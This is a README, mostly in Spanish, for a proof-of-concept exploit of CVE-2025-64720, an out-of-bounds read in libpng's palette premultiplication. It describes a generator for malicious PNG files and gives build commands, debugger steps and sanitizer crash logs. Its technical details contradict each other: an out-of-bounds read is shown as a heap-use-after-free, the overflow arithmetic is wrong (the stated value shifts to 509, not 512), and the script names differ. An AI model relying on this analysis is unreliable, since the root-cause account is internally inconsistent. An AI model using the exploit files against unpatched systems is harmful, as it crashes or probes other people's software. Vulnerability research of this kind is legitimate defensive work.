
Prueba de concepto de exploit para CVE-2025-64720, un desbordamiento de búfer en libpng en la premultiplicación de paleta. Incluye generador de exploits, banco de pruebas con ASan/UBSan y un análisis técnico detallado de la vulnerabilidad heap-use-after-free.
Estado: Corregido
Gravedad: Alta
ID CVE: CVE-2025-64720
Fecha de Descubrimiento: 2025-11-XX
Divulgación Pública: 2025-11-21
Existe una vulnerabilidad de lectura fuera de los límites en la función png_image_read_composite de libpng al procesar imágenes de paleta con PNG_FLAG_OPTIMIZE_ALPHA habilitado. El código de composición de paleta en png_init_read_transformations aplica incorrectamente la composición de fondo durante la premultiplicación, violando el invariante component ≤ alpha × 257 requerido por la API PNG simplificada, lo que provoca corrupción de memoria.
En png_init_read_transformations en la línea ~1336, el código de expansión de paleta realiza:
component += (255-alpha)*png_sRGB_table[outrow[c]];
Este cálculo produce valores de component de hasta 16,776,960 (0x1000800), donde (component >> 15) == 512. La macro PNG_sRGB_FROM_LINEAR posterior en png_image_read_composite realiza un acceso a un array fuera de los límites:
png_sRGB_base[component>>15] // Accede a png_sRGB_base[512]
png_sRGB_delta[component>>15] // Accede a png_sRGB_delta[512]
// Ambos arrays tienen solo índices 0-511 (tamaño 512)
El problema ocurre cuando:
PNG_FLAG_OPTIMIZE_ALPHA está habilitado internamentepngread.c, pngtrans.cpng_image_read_composite, png_init_read_transformationsExpected: component ≤ alpha × 257
Ensures (component >> 15) ≤ 511 (within array bounds)
Actual: component = previous_value + (255-alpha) × png_sRGB_table[RGB_value]
With alpha=0, RGB=255: component can exceed expected bounds
Result: (component >> 15) can equal 512 (out of bounds access)
# Method 1: pkg-config
pkg-config --modversion libpng
# Method 2: Direct library query
libpng-config --version
# Method 3: Check binary
strings /usr/lib/libpng*.so* | grep -i "libpng version"
# Method 4: From source
grep PNG_LIBPNG_VER_STRING png.h
Un atacante puede explotar esta vulnerabilidad creando un archivo PNG malicioso con características específicas:
Prerrequisitos del Ataque:
png_image_*)Pasos del Ataque:
PNG_FLAG_OPTIMIZE_ALPHA se habilita internamenteResultado del Ataque:
png_sRGB_base o png_sRGB_delta┌─────────────────┐
│ png_sRGB_base │ Array indices: 0-511 (512 entries)
│ [512 entries] │ Valid access: (component >> 15) ≤ 511
├─────────────────┤
│ [OOB Access] │ Index 512 ← Vulnerable access when component ≥ 0x1000000
├─────────────────┤
│ png_sRGB_delta │ Array indices: 0-511 (512 entries)
│ [512 entries] │ Also vulnerable to same OOB access
├─────────────────┤
│ Adjacent Memory │ Potential information disclosure
└─────────────────┘
Calculation that causes overflow:
component = alpha × component + (255-alpha) × png_sRGB_table[palette_RGB]
When alpha=0 and palette_RGB=255:
component = 0 + 255 × 65535 = 16,711,425
(component >> 15) = 512 (OUT OF BOUNDS!)
Condiciones Requeridas:
png_image_finish_read)Factores Opcionales:
PNG_FORMAT_FLAG_AFIRST aumenta la probabilidad de caídaCondiciones que No Activan:
# Clone repository
git clone https://github.com/truediogo/CVE-2025-64720
cd CVE-2025-64720
# Generate images
python3 generate-images.py
# Build test
chmod +x build.sh
./build.sh
# Run exploit (requires vulnerable libpng < 1.6.51)
./test_asan exploit_v1.png exploit_v2.png exploit_v3.png exploit_v4.png
generate-images.py)Genera archivos PNG maliciosos que activan la vulnerabilidad.
Uso:
python3 generate_poc.py
Salida:
exploit_v1.png - Imagen de 8x8, paleta blanca uniforme, alfa ceroexploit_v2.png - Imagen de 8x8, variación estratégica de paletaexploit_v3.png - Imagen de 64x64, grande con patrones repetidosexploit_v4.png - Imagen de 4x4, caso mínimo con alfa todo ceroOpciones:
# Generate specific variant
generate_malicious_png('custom.png', variant=2)
# Variants:
# 1: Maximum RGB values with zero alpha (reliable)
# 2: Strategic palette designed for maximum overflow
# 3: Larger image with repeated triggering patterns
# 4: Minimal case targeting global-buffer-overflow
test.c)Procesa archivos PNG usando la API simplificada y demuestra la vulnerabilidad.
Compilación:
# With AddressSanitizer (recommended - best detection)
gcc -o test_asan test.c -lpng -fsanitize=address -g -O0 -fno-omit-frame-pointer
# With UndefinedBehaviorSanitizer
gcc -o test_ubsan test.c -lpng -fsanitize=undefined -g -O0
# With debugging symbols
gcc -o test_debug test.c -lpng -g -O0
# For Valgrind
gcc -o test_valgrind test.c -lpng -g -O0 -fno-inline
Características:
En Versión Vulnerable (libpng 1.6.36):
libpng version: 1.6.36
PNG_LIBPNG_VER: 10636
[!] libpng < 1.6.51 detected (vulnerable version)
=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8
Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00
Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
=================================================================
==12345==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000000520
READ of size 8 at 0x604000000520 thread T0
#0 0x000102b4da24 in png_safe_execute pngerror.c:944
#1 0x000102b5d7c8 in png_image_finish_read pngread.c:4184
#2 0x000102b34ecc in test_png test.c:64
#3 0x000102b35410 in main test.c:97
0x604000000520 is located 16 bytes inside of 48-byte region [0x604000000510,0x604000000540)
freed by thread T0 here:
#0 0x000103245480 in free+0x7c
#1 0x000102b566b4 in png_free_default pngmem.c:252
[Stack trace continues...]
SUMMARY: AddressSanitizer: heap-use-after-free pngerror.c:944 in png_safe_execute
==12345==ABORTING
En Versión Corregida (libpng >= 1.6.51):
libpng version: 1.6.51
PNG_LIBPNG_VER: 10651
[!] Warning: libpng >= 1.6.51 detected (vulnerability is patched)
=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8
Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00
Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00
=== All tests completed ===
python3 generate_poc.py
Salida esperada:
======================================================================
libpng Out-of-Bounds Read PoC Generator
Vulnerability: palette + transparency + PNG_FLAG_OPTIMIZE_ALPHA
======================================================================
[+] Generated variant 1: exploit_v1.png
Size: 434 bytes, Dimensions: 8x8
[+] Generated variant 2: exploit_v2.png
Size: 434 bytes, Dimensions: 8x8
[+] Generated variant 3: exploit_v3.png
Size: 2258 bytes, Dimensions: 64x64
[+] Generated variant 4: exploit_v4.png
Size: 356 bytes, Dimensions: 4x4
[+] Enhanced test program: test.c
[+] Build script: build.sh
chmod +x build.sh
./build.sh
Salida esperada:
[*] Building test...
[*] Building with AddressSanitizer...
[*] Building with UBSan...
[*] Building debug version...
[*] Building for Valgrind...
[+] Build complete. Executables:
-rwxr-xr-x 1 user staff 95KB test_asan
-rwxr-xr-x 1 user staff 87KB test_ubsan
-rwxr-xr-x 1 user staff 72KB test_debug
-rwxr-xr-x 1 user staff 72KB test_valgrind
./test_asan exploit_v1.png
Resultado Esperado (Vulnerable - libpng 1.6.36):
libpng version: 1.6.36
PNG_LIBPNG_VER: 10636
[!] libpng < 1.6.51 detected (vulnerable version)
=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8
Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00
Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
=================================================================
==6751==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000000520
READ of size 8 at 0x604000000520 thread T0
#0 png_safe_execute pngerror.c:944
#1 png_image_finish_read pngread.c:4184
#2 test_png test.c:64
#3 main test.c:97
SUMMARY: AddressSanitizer: heap-use-after-free pngerror.c:944
==6751==ABORTING
Resultado Esperado (Corregido - libpng >= 1.6.51):
libpng version: 1.6.51
PNG_LIBPNG_VER: 10651
[!] Warning: libpng >= 1.6.51 detected (vulnerability is patched)
=== Testing: exploit_v1.png ===
[All tests complete successfully without crashes]
gcc -o test test.c -lpng -g -O0 -fno-inline
valgrind --leak-check=full --track-origins=yes --show-leak-kinds=all \
./test exploit_v1.png
Salida esperada (vulnerable):
==12345== Invalid read of size 8
==12345== at 0x...: png_safe_execute (pngerror.c:944)
==12345== by 0x...: png_image_finish_read (pngread.c:4184)
==12345== Address 0x... is 16 bytes inside a block of size 48 free'd
gdb ./test_debug
(gdb) set args exploit_v1.png
(gdb) run
# Program will crash
(gdb) bt
# Shows backtrace with png_safe_execute at top
(gdb) info registers
(gdb) x/32wx $rsp
# Examine memory state at crash
lldb ./test_debug
(lldb) settings set target.run-args exploit_v1.png
(lldb) run
# Program will crash
(lldb) bt
# Shows backtrace
(lldb) register read
(lldb) memory read -c 32 -- $sp
⚠️ IMPORTANTE: Este PoC se proporciona únicamente con fines educativos y de investigación.
Este código está destinado a:
Este código NO está destinado a:
Al usar este código, aceptas: